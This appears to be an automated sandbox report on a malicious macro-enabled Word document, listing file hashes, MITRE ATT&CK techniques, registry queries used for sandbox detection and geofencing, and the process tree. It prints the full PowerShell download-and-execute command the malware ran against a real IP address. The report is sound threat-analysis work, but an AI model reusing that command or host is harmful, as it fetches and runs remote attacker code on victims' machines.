cf8bfac1ce68faf49ca1e80151bf04bce833f34fcc22cfee0b2cd432fecf438c

Analysis

max time kernel
44s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20240802-fr
resource tags

arch:x64arch:x86image:win10v2004-20240802-frlocale:fr-fros:windows10-2004-x64systemwindows
submitted
01-10-2024 17:15

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General

Target

0cef17ba672793d8e32216240706cf46e3a2894d0e558906a1782405a8f4decf.docm
Size

93KB
MD5

e745d9bb0dd69f151afea9eadc808711
SHA1

8b2b5cfc6ffc976a51059a84e020d9459e870bfd
SHA256

0cef17ba672793d8e32216240706cf46e3a2894d0e558906a1782405a8f4decf
SHA512

bfcd2c4b25a5331b43d0f858ed24b834bbfc6ca13b00d71b161efeb2dc31f66b52d907145ad6c0d5663e0a3baf7dbdb537ac8865ecbff53d297640a4fc6ba8b9
SSDEEP

1536:SwYn0lfu/j5Q0KWn1o6DB+ZbuRqcwoDZc4+bhwTd81tlrJVhfIGgdqVw2X8Qr374:SwY0lo1QG1FDFpZabhwTIXvNjgEW2XxY

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1804	3460	wscript.exe	83

Blocklisted process makes network request 1 IoCs

flow	pid	Process
68	3156	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3156	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3008	WINWORD.EXE
3008	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3156	powershell.exe
3156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3156	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE
3008	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1804 wrote to memory of 3156	1804	wscript.exe	96
PID 1804 wrote to memory of 3156	1804	wscript.exe	96

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0cef17ba672793d8e32216240706cf46e3a2894d0e558906a1782405a8f4decf.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3008

C:\Windows\system32\wscript.exe
wscript /E:vbscript C:\Users\Admin\AppData\Local\Temp\rad1D602.tmp
1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://213.139.205.131/update_ver')|iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kgjeommw.g00.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rad1D602.tmp

Filesize
239B

MD5
992a432c3157b0be41fe29065b8a657b

SHA1
cdb80a231235ac2030e6f9574a57719a76d8cbbd

SHA256
2bc95ede5c16f9be01d91e0d7b0231d3c75384c37bfd970d57caca1e2bbe730f

SHA512
bada3ff90afd441e21972ad138771f2d737684215bd19a679d68882a0f38e70ac47da0fc4d154faf63cff5e0cce01ca45bbef27a4aec635e097cf863a4336e91

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
480f3b4ca97978b960d2573d5a9a6f19

SHA1
974ace91c964d0a75e956c571c1b4f5c5c4f9a35

SHA256
cac5ca5575d17727b40f074054b44b38b7ee337643df6602198ec9b30fbf6d2e

SHA512
b6f59f2d6b7d80e37a4734ca7b99214d9e1004a46181688673701c4ca81255693f0c376f2dbfe7a7d8458e3e6bb97617656d642e4bfb34a1bdcfa075155f77f9

Download Submit
memory/3008-5-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-9-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-6-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-13-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-10-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-72-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-12-0x00007FFB32FF0000-0x00007FFB33000000-memory.dmp

Filesize
64KB

Download
memory/3008-71-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-14-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-15-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-18-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-17-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-16-0x00007FFB32FF0000-0x00007FFB33000000-memory.dmp

Filesize
64KB

Download
memory/3008-70-0x00007FFB752CD000-0x00007FFB752CE000-memory.dmp

Filesize
4KB

Download
memory/3008-8-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-42-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-41-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-40-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-131-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-1-0x00007FFB752CD000-0x00007FFB752CE000-memory.dmp

Filesize
4KB

Download
memory/3008-7-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-69-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-11-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-0-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-78-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-79-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-89-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-92-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-91-0x00007FFB75230000-0x00007FFB75425000-memory.dmp

Filesize
2.0MB

Download
memory/3008-2-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-4-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-129-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-130-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-3-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-128-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3008-127-0x00007FFB352B0000-0x00007FFB352C0000-memory.dmp

Filesize
64KB

Download
memory/3156-113-0x000001C7493C0000-0x000001C7494C2000-memory.dmp

Filesize
1.0MB

Download
memory/3156-112-0x000001C748EF0000-0x000001C748F00000-memory.dmp

Filesize
64KB

Download
memory/3156-99-0x000001C748EC0000-0x000001C748EE2000-memory.dmp

Filesize
136KB

Download
memory/3156-98-0x000001C748F20000-0x000001C748FAA000-memory.dmp

Filesize
552KB

Download
memory/3156-132-0x000001C749300000-0x000001C749342000-memory.dmp

Filesize
264KB

Download